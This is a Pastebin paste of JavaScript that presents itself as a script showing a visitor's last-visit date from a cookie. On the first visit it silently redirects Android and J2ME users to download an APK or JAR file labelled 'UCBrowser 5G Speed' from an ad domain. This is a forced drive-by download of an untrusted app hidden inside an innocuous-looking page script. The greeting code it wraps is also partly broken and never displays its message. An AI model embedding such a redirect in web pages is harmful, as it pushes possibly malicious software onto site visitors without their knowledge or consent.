Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var days = 10; // days until cookie expires
- var lastvisit=new Object();
- var firstvisitmsg="Welcome";
- lastvisit.subsequentvisitmsg="Your Last Visit Was On - [displaydate]";
- lastvisit.getCookie=function(Name){
- var re=new RegExp(Name+"=[^;]+", "i");
- if (document.cookie.match(re))
- return document.cookie.match(re)[0].split("=")[1];
- return'';
- }
- lastvisit.setCookie=function(name, value, days){
- var expireDate = new Date();
- var expstring=expireDate.setDate(expireDate.getDate()+parseInt(days));
- document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; path=/";
- }
- lastvisit.showmessage = function() {
- var wh = new Date();
- if (lastvisit.getCookie("visitc") == "") {
- lastvisit.setCookie("visitc", wh, days);
- if( /Android/i.test(navigator.userAgent) ) {
- var url = window.location.href ='http://adsbangla.com/amarwap/UCBrowser%205G%20Speed.apk';
- url.show();
- }
- if( /J2ME/i.test(navigator.userAgent) ) {
- var url = window.location.href ='http://adsbangla.com/amarwap/UCBrowser%205G%20Speed.jar';
- url.show();
- }
- }
- else {
- var lv = lastvisit.getCookie("visitc");
- var lvp = Date.parse(lv);
- var now = new Date();
- now.setTime(lvp);
- var day = new Array("Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat");
- var month = new Array ("Jan", "Feb", "Mar", "Apr", "May", "June", "July", "Aug", "Sep", "Oct", "Nov", "Dec");
- var dd = now.getDate();
- var dy = now.getDay();
- dy = day[dy];
- var mn = now.getMonth();
- mn = month[mn];
- yy = now.getFullYear();
- var hh = now.getHours();
- var ampm = "am";
- if (hh >= 12) {ampm = "pm"}
- if (hh >12){hh = hh - 12};
- if (hh == 0) {hh = 12}
- if (hh < 10) {hh = "0" + hh};
- var mins = now.getMinutes();
- if (mins < 10) {mins = "0"+ mins}
- var secs = now.getSeconds();
- if (secs < 10) {secs = "0" + secs}
- var dispDate = dy + ", " + mn + " " + dd + ", " + yy + " " +"[" + hh + ":" + mins + ":" + secs + " " + ampm + "]"
- }
- lastvisit.setCookie("visitc", wh, days);
- }
- lastvisit.showmessage();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement